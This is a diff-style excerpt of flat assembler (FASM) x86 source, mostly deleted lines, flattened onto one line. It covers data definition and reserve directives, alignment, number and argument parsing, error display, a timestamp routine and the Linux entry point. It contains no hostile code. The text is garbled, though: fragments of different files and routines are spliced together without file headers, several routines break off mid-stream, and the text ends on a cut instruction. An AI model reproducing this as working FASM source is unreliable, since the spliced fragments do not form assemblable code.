cx,[ebx+18] - jne label_made - requalified_label: - or [next_pass_needed],-1 - pop [error_line] - ret - no_end_directive: - mov eax,[error_line] - mov [current_line],eax - jmp missing_end_directive - skip_repeat: - call find_end_repeat - jmp find_end_directive - skip_while: - call find_end_while - jmp find_end_directive - skip_if: - call skip_if_block - jmp find_end_directive - skip_if_block: - call find_else - jc if_block_skipped - cmp byte [esi],1 - jne skip_after_else - cmp word [esi+1],if_directive-instruction_handler - jne skip_after_else - add esi,4 - jmp skip_if_block - skip_after_else: - call find_end_if - if_block_skipped: - ret -end_directive: - lods byte [esi] - cmp al,1 - jne invalid_argument - lods word [esi] - inc esi - cmp ax,virtual_directive-instruction_handler - je end_virtual - cmp ax,repeat_directive-instruction_handler - je end_repeat - cmp ax,while_directive-instruction_handler - je end_while - cmp ax,if_directive-instruction_handler - je end_if - cmp ax,data_directive-instruction_handler - je end_data - jmp invalid_argument -break_directive: - mov ebx,[structures_buffer] - mov al,[esi] - or al,al - jz find_breakable_structure - cmp al,0Fh - jne extra_characters_on_line - find_breakable_structure: - cmp ebx,[additional_memory_end] - je unexpected_instruction - mov ax,[ebx] - cmp ax,repeat_directive-instruction_handler - je break_repeat - cmp ax,while_directive-instruction_handler - je break_while - cmp ax,if_directive-instruction_handler - je break_if - add ebx,18h - jmp find_breakable_structure - break_if: - push [current_line] - mov eax,[ebx+4] - mov [current_line],eax - call remove_structure_data - call skip_if_block - pop [current_line] - mov ebx,[structures_buffer] - jmp find_breakable_structure - break_repeat: - push ebx - call find_end_repeat - pop ebx - jmp stop_repeat - break_while: - push ebx - jmp stop_while - -define_data: - cmp edi,[tagged_blocks] - jae out_of_memory - cmp byte [esi],'(' - jne simple_data_value - mov ebx,esi - inc esi - call skip_expression - xchg esi,ebx - cmp byte [ebx],81h - jne simple_data_value - inc esi - call get_count_value - inc esi - or eax,eax - jz duplicate_zero_times - cmp byte [esi],91h - jne duplicate_single_data_value - inc esi - duplicate_data: - push eax esi - duplicated_values: - cmp edi,[tagged_blocks] - jae out_of_memory - clc - call near dword [esp+8] - lods byte [esi] - cmp al,',' - je duplicated_values - cmp al,92h - jne invalid_argument - pop ebx eax - dec eax - jz data_defined - mov esi,ebx - jmp duplicate_data - duplicate_single_data_value: - cmp edi,[tagged_blocks] jae out_of_memory push eax esi clc @@ -1359,182 +475,6 @@ define_data: jne skip_data_value inc esi jmp data_defined - skip_single_data_value: - call skip_symbol - jmp data_defined - simple_data_value: - cmp edi,[tagged_blocks] - jae out_of_memory - clc - call near dword [esp] - data_defined: - lods byte [esi] - cmp al,',' - je define_data - dec esi - stc - ret -data_bytes: - call define_data - jc instruction_assembled - lods byte [esi] - cmp al,'(' - je get_byte - cmp al,'?' - jne invalid_argument - mov eax,edi - mov byte [edi],0 - inc edi - jmp undefined_data - get_byte: - cmp byte [esi],0 - je get_string - call get_byte_value - stos byte [edi] - ret - get_string: - inc esi - lods dword [esi] - mov ecx,eax - lea eax,[edi+ecx] - cmp eax,[tagged_blocks] - ja out_of_memory - rep movs byte [edi],[esi] - inc esi - ret - undefined_data: - mov ebp,[addressing_space] - test byte [ds:ebp+0Ah],1 - jz mark_undefined_data - ret - mark_undefined_data: - cmp eax,[undefined_data_end] - je undefined_data_ok - mov [undefined_data_start],eax - undefined_data_ok: - mov [undefined_data_end],edi - ret -data_unicode: - or [base_code],-1 - jmp define_words -data_words: - mov [base_code],0 - define_words: - call define_data - jc instruction_assembled - lods byte [esi] - cmp al,'(' - je get_word - cmp al,'?' - jne invalid_argument - mov eax,edi - and word [edi],0 - scas word [edi] - jmp undefined_data - ret - get_word: - cmp [base_code],0 - je word_data_value - cmp byte [esi],0 - je word_string - word_data_value: - call get_word_value - call mark_relocation - stos word [edi] - ret - word_string: - inc esi - lods dword [esi] - mov ecx,eax - jecxz word_string_ok - lea eax,[edi+ecx*2] - cmp eax,[tagged_blocks] - ja out_of_memory - xor ah,ah - copy_word_string: - lods byte [esi] - stos word [edi] - loop copy_word_string - word_string_ok: - inc esi - ret -data_dwords: - call define_data - jc instruction_assembled - lods byte [esi] - cmp al,'(' - je get_dword - cmp al,'?' - jne invalid_argument - mov eax,edi - and dword [edi],0 - scas dword [edi] - jmp undefined_data - get_dword: - push esi - call get_dword_value - pop ebx - cmp byte [esi],':' - je complex_dword - call mark_relocation - stos dword [edi] - ret - complex_dword: - mov esi,ebx - cmp byte [esi],'.' - je invalid_value - call get_word_value - push eax - inc esi - lods byte [esi] - cmp al,'(' - jne invalid_operand - mov al,[value_type] - push eax - cmp byte [esi],'.' - je invalid_value - call get_word_value - call mark_relocation - stos word [edi] - pop eax - mov [value_type],al - pop eax - call mark_relocation - stos word [edi] - ret -data_pwords: - call define_data - jc instruction_assembled - lods byte [esi] - cmp al,'(' - je get_pword - cmp al,'?' - jne invalid_argument - mov eax,edi - and dword [edi],0 - scas dword [edi] - and word [edi],0 - scas word [edi] - jmp undefined_data - get_pword: - push esi - call get_pword_value - pop ebx - cmp byte [esi],':' - je complex_pword - call mark_relocation - stos dword [edi] - mov ax,dx - stos word [edi] - ret - complex_pword: - mov esi,ebx - cmp byte [esi],'.' - je invalid_value - call get_word_value - push eax - inc esi - lods byte [esi] cmp al,'(' jne invalid_operand mov al,[value_type] @@ -1558,2427 +498,11 @@ data_qwords: je get_qword cmp al,'?' jne invalid_argument - mov eax,edi - and dword [edi],0 - scas dword [edi] - and dword [edi],0 - scas dword [edi] - jmp undefined_data - get_qword: - call get_qword_value - call mark_relocation - stos dword [edi] - mov eax,edx - stos dword [edi] - ret -data_twords: - call define_data - jc instruction_assembled - lods byte [esi] - cmp al,'(' - je get_tword - cmp al,'?' - jne invalid_argument - mov eax,edi - and dword [edi],0 - scas dword [edi] - and dword [edi],0 - scas dword [edi] - and word [edi],0 - scas word [edi] - jmp undefined_data - get_tword: - cmp byte [esi],'.' - jne complex_tword - inc esi - cmp word [esi+8],8000h - je fp_zero_tword - mov eax,[esi] - stos dword [edi] - mov eax,[esi+4] - stos dword [edi] - mov ax,[esi+8] - add ax,3FFFh - jo value_out_of_range - cmp ax,7FFFh - jge value_out_of_range - cmp ax,0 - jg tword_exp_ok - mov cx,ax - neg cx - inc cx - cmp cx,64 - jae value_out_of_range - cmp cx,32 - ja large_shift - mov eax,[esi] - mov edx,[esi+4] - mov ebx,edx - shr edx,cl - shrd eax,ebx,cl - jmp tword_mantissa_shift_done - large_shift: - sub cx,32 - xor edx,edx - mov eax,[esi+4] - shr eax,cl - tword_mantissa_shift_done: - jnc store_shifted_mantissa - add eax,1 - adc edx,0 - store_shifted_mantissa: - mov [edi-8],eax - mov [edi-4],edx - xor ax,ax - test edx,1 shl 31 - jz tword_exp_ok - inc ax - tword_exp_ok: - mov bl,[esi+11] - shl bx,15 - or ax,bx - stos word [edi] - add esi,13 - ret - fp_zero_tword: - xor eax,eax - stos dword [edi] - stos dword [edi] - mov al,[esi+11] - shl ax,15 - stos word [edi] - add esi,13 - ret - complex_tword: - call get_word_value - push eax - cmp byte [esi],':' - jne invalid_operand - inc esi - lods byte [esi] - cmp al,'(' - jne invalid_operand - mov al,[value_type] - push eax - cmp byte [esi],'.' - je invalid_value - call get_qword_value - call mark_relocation - stos dword [edi] - mov eax,edx - stos dword [edi] - pop eax - mov [value_type],al - pop eax - call mark_relocation - stos word [edi] - ret -data_file: - lods word [esi] - cmp ax,'(' - jne invalid_argument - add esi,4 - call open_binary_file - mov eax,[esi-4] - lea esi,[esi+eax+1] - mov al,2 - xor edx,edx - call lseek - push eax - xor edx,edx - cmp byte [esi],':' - jne position_ok - inc esi - cmp byte [esi],'(' - jne invalid_argument - inc esi - cmp byte [esi],'.' - je invalid_value - push ebx - call get_count_value - pop ebx - mov edx,eax - sub [esp],edx - jc value_out_of_range - position_ok: - cmp byte [esi],',' - jne size_ok - inc esi - cmp byte [esi],'(' - jne invalid_argument - inc esi - cmp byte [esi],'.' - je invalid_value - push ebx edx - call get_count_value - pop edx ebx - cmp eax,[esp] - ja value_out_of_range - mov [esp],eax - size_ok: - xor al,al - call lseek - pop ecx - mov edx,edi - add edi,ecx - jc out_of_memory - cmp edi,[tagged_blocks] - ja out_of_memory - call read - jc error_reading_file - call close - lods byte [esi] - cmp al,',' - je data_file - dec esi - jmp instruction_assembled - open_binary_file: - push esi - push edi - mov eax,[current_line] - find_current_source_path: - mov esi,[eax] - test byte [eax+7],80h - jz get_current_path - mov eax,[eax+8] - jmp find_current_source_path - get_current_path: - lodsb - stosb - or al,al - jnz get_current_path - cut_current_path: - cmp edi,[esp] - je current_path_ok - cmp byte [edi-1],'\' - je current_path_ok - cmp byte [edi-1],'/' - je current_path_ok - dec edi - jmp cut_current_path - current_path_ok: - mov esi,[esp+4] - call expand_path - pop edx - mov esi,edx - call open - jnc file_opened - mov edx,[include_paths] - search_in_include_paths: - push edx esi - mov edi,esi - mov esi,[esp+4] - call get_include_directory - mov [esp+4],esi - mov esi,[esp+8] - call expand_path - pop edx - mov esi,edx - call open - pop edx - jnc file_opened - cmp byte [edx],0 - jne search_in_include_paths - mov edi,esi - mov esi,[esp] - push edi - call expand_path - pop edx - mov esi,edx - call open - jc file_not_found - file_opened: - mov edi,esi - pop esi - ret -reserve_bytes: - lods byte [esi] - cmp al,'(' - jne invalid_argument - cmp byte [esi],'.' - je invalid_value - call get_count_value - mov ecx,eax - mov edx,ecx - add edx,edi - jc out_of_memory - cmp edx,[tagged_blocks] - ja out_of_memory - push edi - cmp [next_pass_needed],0 - je zero_bytes - add edi,ecx - jmp reserved_data - zero_bytes: - xor eax,eax - shr ecx,1 - jnc bytes_stosb_ok - stos byte [edi] - bytes_stosb_ok: - shr ecx,1 - jnc bytes_stosw_ok - stos word [edi] - bytes_stosw_ok: - rep stos dword [edi] - reserved_data: - pop eax - call undefined_data - jmp instruction_assembled -reserve_words: - lods byte [esi] - cmp al,'(' - jne invalid_argument - cmp byte [esi],'.' - je invalid_value - call get_count_value - mov ecx,eax - mov edx,ecx - shl edx,1 - jc out_of_memory - add edx,edi - jc out_of_memory - cmp edx,[tagged_blocks] - ja out_of_memory - push edi - cmp [next_pass_needed],0 - je zero_words - lea edi,[edi+ecx*2] - jmp reserved_data - zero_words: - xor eax,eax - shr ecx,1 - jnc words_stosw_ok - stos word [edi] - words_stosw_ok: - rep stos dword [edi] - jmp reserved_data -reserve_dwords: - lods byte [esi] - cmp al,'(' - jne invalid_argument - cmp byte [esi],'.' - je invalid_value - call get_count_value - mov ecx,eax - mov edx,ecx - shl edx,1 - jc out_of_memory - shl edx,1 - jc out_of_memory - add edx,edi - jc out_of_memory - cmp edx,[tagged_blocks] - ja out_of_memory - push edi - cmp [next_pass_needed],0 - je zero_dwords - lea edi,[edi+ecx*4] - jmp reserved_data - zero_dwords: - xor eax,eax - rep stos dword [edi] - jmp reserved_data -reserve_pwords: - lods byte [esi] - cmp al,'(' - jne invalid_argument - cmp byte [esi],'.' - je invalid_value - call get_count_value - mov ecx,eax - shl ecx,1 - jc out_of_memory - add ecx,eax - mov edx,ecx - shl edx,1 - jc out_of_memory - add edx,edi - jc out_of_memory - cmp edx,[tagged_blocks] - ja out_of_memory - push edi - cmp [next_pass_needed],0 - je zero_words - lea edi,[edi+ecx*2] - jmp reserved_data -reserve_qwords: - lods byte [esi] - cmp al,'(' - jne invalid_argument - cmp byte [esi],'.' - je invalid_value - call get_count_value - mov ecx,eax - shl ecx,1 - jc out_of_memory - mov edx,ecx - shl edx,1 - jc out_of_memory - shl edx,1 - jc out_of_memory - add edx,edi - jc out_of_memory - cmp edx,[tagged_blocks] - ja out_of_memory - push edi - cmp [next_pass_needed],0 - je zero_dwords - lea edi,[edi+ecx*4] - jmp reserved_data -reserve_twords: - lods byte [esi] - cmp al,'(' - jne invalid_argument - cmp byte [esi],'.' - je invalid_value - call get_count_value - mov ecx,eax - shl ecx,2 - jc out_of_memory - add ecx,eax - mov edx,ecx - shl edx,1 - jc out_of_memory - add edx,edi - jc out_of_memory - cmp edx,[tagged_blocks] - ja out_of_memory - push edi - cmp [next_pass_needed],0 - je zero_words - lea edi,[edi+ecx*2] - jmp reserved_data -align_directive: - lods byte [esi] - cmp al,'(' - jne invalid_argument - cmp byte [esi],'.' - je invalid_value - call get_count_value - mov edx,eax - dec edx - test eax,edx - jnz invalid_align_value - or eax,eax - jz invalid_align_value - cmp eax,1 - je instruction_assembled - mov ecx,edi - mov ebp,[addressing_space] - sub ecx,[ds:ebp] - cmp dword [ds:ebp+10h],0 - jne section_not_aligned_enough - cmp byte [ds:ebp+9],0 - je make_alignment - cmp [output_format],3 - je pe_alignment - cmp [output_format],5 - jne object_alignment - test [format_flags],1 - jnz pe_alignment - object_alignment: - mov ebx,[ds:ebp+14h] - cmp byte [ebx],0 - jne section_not_aligned_enough - cmp eax,[ebx+10h] - jbe make_alignment - jmp section_not_aligned_enough - pe_alignment: - cmp eax,1000h - ja section_not_aligned_enough - make_alignment: - dec eax - and ecx,eax - jz instruction_assembled - neg ecx - add ecx,eax - inc ecx - mov edx,ecx - add edx,edi - jc out_of_memory - cmp edx,[tagged_blocks] - ja out_of_memory - push edi - cmp [next_pass_needed],0 - je nops - add edi,ecx - jmp reserved_data - invalid_align_value: - cmp [error_line],0 - jne instruction_assembled - mov eax,[current_line] - mov [error_line],eax - mov [error],invalid_value - jmp instruction_assembled - nops: - mov eax,90909090h - shr ecx,1 - jnc nops_stosb_ok - stos byte [edi] - nops_stosb_ok: - shr ecx,1 - jnc nops_stosw_ok - stos word [edi] - nops_stosw_ok: - rep stos dword [edi] - jmp reserved_data -err_directive: - mov al,[esi] - cmp al,0Fh - je invoked_error - or al,al - jz invoked_error - jmp extra_characters_on_line -assert_directive: - call calculate_logical_expression - or al,al - jnz instruction_assembled - cmp [error_line],0 - jne instruction_assembled - mov eax,[current_line] - mov [error_line],eax - mov [error],assertion_failed - jmp instruction_assembled - - hex_digit_skip: - dec esi - jmp get_hex_digit - get_oct_number: - xor bl,bl - get_oct_digit: - cmp esi,[number_start] - jb number_ok - movzx eax,byte [esi] - cmp al,27h - je oct_digit_skip - cmp al,'_' - je oct_digit_skip - sub al,30h - cmp al,7 - ja bad_number - oct_digit_ok: - xor edx,edx - mov cl,bl - dec esi - cmp bl,63 - ja oct_out_of_range - jne oct_range_ok - cmp al,1 - ja oct_out_of_range - oct_range_ok: - add bl,3 - cmp cl,30 - je oct_digit_wrap - ja oct_digit_high - shl eax,cl - or dword [edi],eax - jmp get_oct_digit - oct_digit_wrap: - shl eax,cl - adc dword [edi+4],0 - or dword [edi],eax - jmp get_oct_digit - oct_digit_high: - sub cl,32 - shl eax,cl - or dword [edi+4],eax - jmp get_oct_digit - oct_digit_skip: - dec esi - jmp get_oct_digit - oct_out_of_range: - or al,al - jz get_oct_digit - or ebp,-1 - jmp get_oct_digit - hex_number_ok: - dec esi - pascal_hex_ok: - cmp esi,[number_start] - jne bad_number - number_ok: - pop esi - number_done: - clc - ret - get_text_number: - lods dword [esi] - mov edx,eax - xor bl,bl - mov dword [edi],0 - mov dword [edi+4],0 - get_text_character: - sub edx,1 - jc number_done - movzx eax,byte [esi] - inc esi - mov cl,bl - cmp bl,64 - je text_out_of_range - add bl,8 - cmp cl,32 - jae text_character_high - shl eax,cl - or dword [edi],eax - jmp get_text_character - text_character_high: - sub cl,32 - shl eax,cl - or dword [edi+4],eax - jmp get_text_character - text_out_of_range: - or ebp,-1 - jmp get_text_character - cmp al,'~' - je separator - cmp al,'>' - je greater - cmp al,'<' - je less - cmp al,')' - je close_parenthesis - or al,al - jz contents_parsed - cmp al,'[' - je address_argument - cmp al,']' - je separator - cmp al,'{' - je open_decorator - cmp al,'}' - je close_decorator - cmp al,'#' - je unallowed_character - cmp al,'`' - je unallowed_character - cmp al,3Bh - je foreign_argument - cmp [decorator_symbols_allowed],0 - je not_a_separator - cmp al,'-' - je separator - not_a_separator: - dec esi - cmp al,1Ah - jne expression_argument - push edi - mov edi,directive_operators - call get_operator - or al,al - jnz operator_argument - inc esi - movzx ecx,byte [esi] - inc esi - call get_symbol - jnc symbol_argument - cmp ecx,1 - jne check_argument - cmp byte [esi],'?' - jne check_argument - pop edi - movs byte [edi],[esi] - jmp argument_parsed - foreign_argument: - dec esi - call skip_foreign_line - jmp contents_parsed - symbol_argument: - pop edi - stos word [edi] - cmp byte [esi],'+' - jne argument_parsed - and ax,0F0FFh - cmp ax,6010h - jne argument_parsed - movs byte [edi],[esi] - jmp argument_parsed - operator_argument: - pop edi - cmp al,85h - je ptr_argument - stos byte [edi] - cmp al,8Ch - je forced_expression - cmp al,81h - je forced_parenthesis - cmp al,80h - je parse_at_operator - cmp al,82h - je parse_from_operator - cmp al,89h - je parse_label_operator - cmp al,0F8h - je forced_expression - jmp argument_parsed - instruction_separator: - stos byte [edi] - allow_embedded_instruction: - cmp byte [esi],1Ah - jne parse_argument - push edi - inc esi - movzx ecx,byte [esi] - inc esi - call get_instruction - jnc embedded_instruction - call get_data_directive - jnc embedded_instruction - pop edi - sub esi,2 - jmp parse_argument - embedded_instruction: - pop edi - mov dl,al - mov al,1 - stos byte [edi] - mov ax,bx - stos word [edi] - mov al,dl - stos byte [edi] - jmp parse_instruction_arguments - parse_times_directive: - mov al,'(' - stos byte [edi] - call convert_expression - mov al,')' - stos byte [edi] - cmp byte [esi],':' - jne allow_embedded_instruction - movs byte [edi],[esi] - jmp allow_embedded_instruction - parse_segment_directive: - or [formatter_symbols_allowed],-1 - parse_label_directive: - cmp byte [esi],1Ah - jne argument_parsed - push esi - inc esi - movzx ecx,byte [esi] - inc esi - call identify_label - pop ebx - cmp eax,0Fh - je non_label_identified - mov byte [edi],2 - inc edi - stos dword [edi] - xor al,al - stos byte [edi] - jmp argument_parsed - non_label_identified: - mov esi,ebx - jmp argument_parsed - parse_load_directive: - cmp byte [esi],1Ah - jne argument_parsed - push esi - inc esi - movzx ecx,byte [esi] - inc esi - call get_label_id - pop ebx - cmp eax,0Fh - je non_label_identified - mov byte [edi],2 - inc edi - stos dword [edi] - xor al,al - stos byte [edi] - jmp argument_parsed - parse_public_directive: - cmp byte [esi],1Ah - jne parse_argument - inc esi - push esi - movzx ecx,byte [esi] - inc esi - push esi ecx - push edi - or [formatter_symbols_allowed],-1 - call get_symbol - mov [formatter_symbols_allowed],0 - pop edi - jc parse_public_label - cmp al,1Dh - jne parse_public_label - add esp,12 - stos word [edi] - jmp parse_public_directive - parse_public_label: - pop ecx esi - mov al,2 - stos byte [edi] - call get_label_id - stos dword [edi] - mov ax,8600h - stos word [edi] - pop ebx - push ebx esi edi - mov edi,directive_operators - call get_operator - pop edi edx ebx - cmp al,86h - je argument_parsed - mov esi,edx - xchg esi,ebx - movzx ecx,byte [esi] - inc esi - mov ax,'(' - stos word [edi] - mov eax,ecx - stos dword [edi] - rep movs byte [edi],[esi] - xor al,al - stos byte [edi] - xchg esi,ebx - jmp argument_parsed - parse_extrn_directive: - cmp byte [esi],22h - je parse_quoted_extrn - cmp byte [esi],1Ah - jne parse_argument - push esi - movzx ecx,byte [esi+1] - add esi,2 - mov ax,'(' - stos word [edi] - mov eax,ecx - stos dword [edi] - rep movs byte [edi],[esi] - mov ax,8600h - stos word [edi] - pop esi - parse_label_operator: - cmp byte [esi],1Ah - jne argument_parsed - inc esi - movzx ecx,byte [esi] - inc esi - mov al,2 - stos byte [edi] - call get_label_id - stos dword [edi] - xor al,al - stos byte [edi] - jmp argument_parsed - parse_from_operator: - cmp byte [esi],22h - je argument_parsed - parse_at_operator: - cmp byte [esi],':' - je argument_parsed - jmp forced_multipart_expression - parse_quoted_extrn: - inc esi - mov ax,'(' - stos word [edi] - lods dword [esi] - mov ecx,eax - stos dword [edi] - rep movs byte [edi],[esi] - xor al,al - stos byte [edi] - push esi edi - mov edi,directive_operators - call get_operator - mov edx,esi - pop edi esi - cmp al,86h - jne argument_parsed - stos byte [edi] - mov esi,edx - jmp parse_label_operator - ptr_argument: - call parse_address - jmp address_parsed - check_argument: - push esi ecx - sub esi,2 - mov edi,single_operand_operators - call get_operator - pop ecx esi - or al,al - jnz not_instruction - call get_instruction - jnc embedded_instruction - call get_data_directive - jnc embedded_instruction - not_instruction: - pop edi - sub esi,2 - expression_argument: - cmp byte [esi],22h - jne not_string - mov eax,[esi+1] - lea ebx,[esi+5+eax] - push ebx ecx esi edi - call parse_expression - pop eax edx ecx ebx - cmp esi,ebx - jne expression_argument_parsed - mov edi,eax - mov esi,edx - string_argument: - inc esi - mov ax,'(' - stos word [edi] - lods dword [esi] - mov ecx,eax - stos dword [edi] - shr ecx,1 - jnc string_movsb_ok - movs byte [edi],[esi] - string_movsb_ok: - shr ecx,1 - jnc string_movsw_ok - movs word [edi],[esi] - string_movsw_ok: - rep movs dword [edi],[esi] - xor al,al - stos byte [edi] - jmp expression_argument_parsed - parse_expression: - mov al,'(' - stos byte [edi] - call convert_expression - mov al,')' - stos byte [edi] - ret - not_string: - cmp byte [esi],'(' - jne expression - mov eax,esp - sub eax,[stack_limit] - cmp eax,100h - jb stack_overflow - push esi edi - inc esi - mov al,91h - stos byte [edi] - inc [parenthesis_stack] - jmp parse_argument - expression_comparator: - stos byte [edi] - jmp forced_expression - greater: - cmp byte [esi],'=' - jne separator - inc esi - mov al,0F2h - jmp separator - less: - cmp byte [edi-1],0F6h - je separator - cmp byte [esi],'>' - je not_equal - cmp byte [esi],'=' - jne separator - inc esi - mov al,0F3h - jmp separator - not_equal: - inc esi - mov al,0F1h - jmp expression_comparator - expression: - call parse_expression - jmp expression_argument_parsed - forced_expression: - xor al,al - xchg al,[formatter_symbols_allowed] - push eax - call parse_expression - forced_expression_parsed: - pop eax - mov [formatter_symbols_allowed],al - jmp argument_parsed - forced_multipart_expression: - xor al,al - xchg al,[formatter_symbols_allowed] - push eax - call parse_expression - cmp byte [esi],':' - jne forced_expression_parsed - movs byte [edi],[esi] - call parse_expression - jmp forced_expression_parsed - address_argument: - call parse_address - lods byte [esi] - cmp al,']' - je address_parsed - cmp al,',' - je divided_address - dec esi - mov al,')' - stos byte [edi] - jmp argument_parsed - divided_address: - mov ax,'),' - stos word [edi] - jmp expression - address_parsed: - mov al,']' - stos byte [edi] - jmp argument_parsed - parse_address: - mov al,'[' - stos byte [edi] - cmp word [esi],021Ah - jne convert_address - push esi - add esi,4 - lea ebx,[esi+1] - cmp byte [esi],':' - pop esi - jne convert_address - add esi,2 - mov ecx,2 - push ebx edi - call get_symbol - pop edi esi - jc unknown_segment_prefix - cmp al,10h - jne unknown_segment_prefix - mov al,ah - and ah,11110000b - cmp ah,30h - jne unknown_segment_prefix - add al,30h - stos byte [edi] - jmp convert_address - unknown_segment_prefix: - sub esi,5 - convert_address: - push edi - mov edi,address_sizes - call get_operator - pop edi - or al,al - jz convert_expression - add al,70h - stos byte [edi] - jmp convert_expression - forced_parenthesis: - cmp byte [esi],'(' - jne argument_parsed - inc esi - mov al,91h - jmp separator - unallowed_character: - mov al,0FFh - jmp separator - open_decorator: - inc [decorator_symbols_allowed] - jmp separator - close_decorator: - dec [decorator_symbols_allowed] - jmp separator - close_parenthesis: - mov al,92h - separator: - stos byte [edi] - argument_parsed: - cmp [parenthesis_stack],0 - je parse_argument - dec [parenthesis_stack] - add esp,8 - jmp argument_parsed - expression_argument_parsed: - cmp [parenthesis_stack],0 - je parse_argument - cmp byte [esi],')' - jne argument_parsed - dec [parenthesis_stack] - pop edi esi - jmp expression - contents_parsed: - cmp [parenthesis_stack],0 - je contents_ok - dec [parenthesis_stack] - add esp,8 - jmp contents_parsed - contents_ok: - ret - - mov al,2 - xor edx,edx - call lseek - mov edx,[esi+8] - sub eax,edx - jz line_data_displayed - push eax - xor al,al - call lseek - mov ecx,[esp] - mov edx,[additional_memory] - lea eax,[edx+ecx] - cmp eax,[additional_memory_end] - ja out_of_memory - call read - call close - pop ecx - mov esi,[additional_memory] - get_line_data: - mov al,[esi] - cmp al,0Ah - je display_line_data - cmp al,0Dh - je display_line_data - cmp al,1Ah - je display_line_data - or al,al - jz display_line_data - inc esi - loop get_line_data - display_line_data: - mov ecx,esi - mov esi,[additional_memory] - sub ecx,esi - call display_block - line_data_displayed: - mov esi,cr_lf - call display_string - pop ebx - or ebx,ebx - jnz display_error_line - cmp [preprocessing_done],0 - je display_error_message - mov esi,preprocessed_instruction_prefix - call display_string - mov esi,[current_line] - add esi,16 - mov edi,[additional_memory] - xor dl,dl - convert_instruction: - lodsb - cmp al,1Ah - je copy_symbol - cmp al,22h - je copy_symbol - cmp al,3Bh - je instruction_converted - stosb - or al,al - jz instruction_converted - xor dl,dl - jmp convert_instruction - copy_symbol: - or dl,dl - jz space_ok - mov byte [edi],20h - inc edi - space_ok: - cmp al,22h - je quoted - lodsb - movzx ecx,al - rep movsb - or dl,-1 - jmp convert_instruction - quoted: - mov al,27h - stosb - lodsd - mov ecx,eax - jecxz quoted_copied - copy_quoted: - lodsb - stosb - cmp al,27h - jne quote_ok - stosb - quote_ok: - loop copy_quoted - quoted_copied: - mov al,27h - stosb - or dl,-1 - jmp convert_instruction - instruction_converted: - xor al,al - stosb - mov esi,[additional_memory] - call display_string - mov esi,cr_lf - call display_string - display_error_message: - mov esi,error_prefix - call display_string - pop esi - call display_string - mov esi,error_suffix - call display_string - mov al,2 - jmp exit_program - -make_timestamp: - push buffer - call [GetSystemTime] - movzx ecx,word [buffer] - mov eax,ecx - sub eax,1970 - mov ebx,365 - mul ebx - mov ebp,eax - mov eax,ecx - sub eax,1969 - shr eax,2 - add ebp,eax - mov eax,ecx - sub eax,1901 - mov ebx,100 - div ebx - sub ebp,eax - mov eax,ecx - xor edx,edx - sub eax,1601 - mov ebx,400 - div ebx - add ebp,eax - movzx ecx,word [buffer+2] - mov eax,ecx - dec eax - mov ebx,30 - mul ebx - add ebp,eax - cmp ecx,8 - jbe months_correction - mov eax,ecx - sub eax,7 - shr eax,1 - add ebp,eax - mov ecx,8 - months_correction: - mov eax,ecx - shr eax,1 - add ebp,eax - cmp ecx,2 - jbe day_correction_ok - sub ebp,2 - movzx ecx,word [buffer] - test ecx,11b - jnz day_correction_ok - xor edx,edx - mov eax,ecx - mov ebx,100 - div ebx - or edx,edx - jnz day_correction - mov eax,ecx - mov ebx,400 - div ebx - or edx,edx - jnz day_correction_ok - day_correction: - inc ebp - day_correction_ok: - movzx eax,word [buffer+6] - dec eax - add eax,ebp - mov ebx,24 - mul ebx - movzx ecx,word [buffer+8] - add eax,ecx - mov ebx,60 - mul ebx - movzx ecx,word [buffer+10] - add eax,ecx - mov ebx,60 - mul ebx - movzx ecx,word [buffer+12] - add eax,ecx - adc edx,0 - ret - -error_prefix db 'error: ',0 -error_suffix db '.' -cr_lf db 0Dh,0Ah,0 -line_number_start db ' [',0 -line_data_start db ':',0Dh,0Ah,0 -preprocessed_instruction_prefix db 'processed: ',0 - - -; flat assembler interface for Linux -; Copyright (c) 1999-2022, Tomasz Grysztar. -; All rights reserved. - - format ELF executable 3 - entry start - -segment readable executable - -start: - - mov [con_handle],1 - mov esi,_logo - call display_string - - mov [command_line],esp - mov ecx,[esp] - lea ebx,[esp+4+ecx*4+4] - mov [environment],ebx - call get_params - jc information - - call init_memory - - mov esi,_memory_prefix - call display_string - mov eax,[memory_end] - sub eax,[memory_start] - add eax,[additional_memory_end] - sub eax,[additional_memory] - shr eax,10 - call display_number - mov esi,_memory_suffix - call display_string - - mov eax,78 - mov ebx,buffer - xor ecx,ecx - int 0x80 - mov eax,dword [buffer] mov ecx,1000 mul ecx mov ebx,eax mov eax,dword [buffer+4] div ecx - add eax,ebx - mov [start_time],eax - - and [preprocessing_done],0 - call preprocessor - or [preprocessing_done],-1 - call parser - call assembler - call formatter - - call display_user_messages - movzx eax,[current_pass] - inc eax - call display_number - mov esi,_passes_suffix - call display_string - mov eax,78 - mov ebx,buffer - xor ecx,ecx - int 0x80 - mov eax,dword [buffer] - mov ecx,1000 - mul ecx - mov ebx,eax - mov eax,dword [buffer+4] - div ecx - add eax,ebx - sub eax,[start_time] - jnc time_ok - add eax,3600000 - time_ok: - xor edx,edx - mov ebx,100 - div ebx - or eax,eax - jz display_bytes_count - xor edx,edx - mov ebx,10 - div ebx - push edx - call display_number - mov dl,'.' - call display_character - pop eax - call display_number - mov esi,_seconds_suffix - call display_string - display_bytes_count: - mov eax,[written_size] - call display_number - mov esi,_bytes_suffix - call display_string - xor al,al - jmp exit_program - -information: - mov esi,_usage - call display_string - mov al,1 - jmp exit_program - -get_params: - mov ebx,[command_line] - mov [input_file],0 - mov [output_file],0 - mov [symbols_file],0 - mov [memory_setting],0 - mov [passes_limit],100 - mov ecx,[ebx] - add ebx,8 - dec ecx - jz bad_params - mov [definitions_pointer],predefinitions - get_param: - mov esi,[ebx] - mov al,[esi] - cmp al,'-' - je option_param - cmp [input_file],0 - jne get_output_file - mov [input_file],esi - jmp next_param - get_output_file: - cmp [output_file],0 - jne bad_params - mov [output_file],esi - jmp next_param - option_param: - inc esi - lodsb - cmp al,'m' - je memory_option - cmp al,'M' - je memory_option - cmp al,'p' - je passes_option - cmp al,'P' - je passes_option - cmp al,'d' - je definition_option - cmp al,'D' - je definition_option - cmp al,'s' - je symbols_option - cmp al,'S' - je symbols_option - bad_params: - stc - ret - memory_option: - cmp byte [esi],0 - jne get_memory_setting - dec ecx - jz bad_params - add ebx,4 - mov esi,[ebx] - get_memory_setting: - call get_option_value - or edx,edx - jz bad_params - cmp edx,1 shl (32-10) - jae bad_params - mov [memory_setting],edx - jmp next_param - passes_option: - cmp byte [esi],0 - jne get_passes_setting - dec ecx - jz bad_params - add ebx,4 - mov esi,[ebx] - get_passes_setting: - call get_option_value - or edx,edx - jz bad_params - cmp edx,10000h - ja bad_params - mov [passes_limit],dx - next_param: - add ebx,4 - dec ecx - jnz get_param - cmp 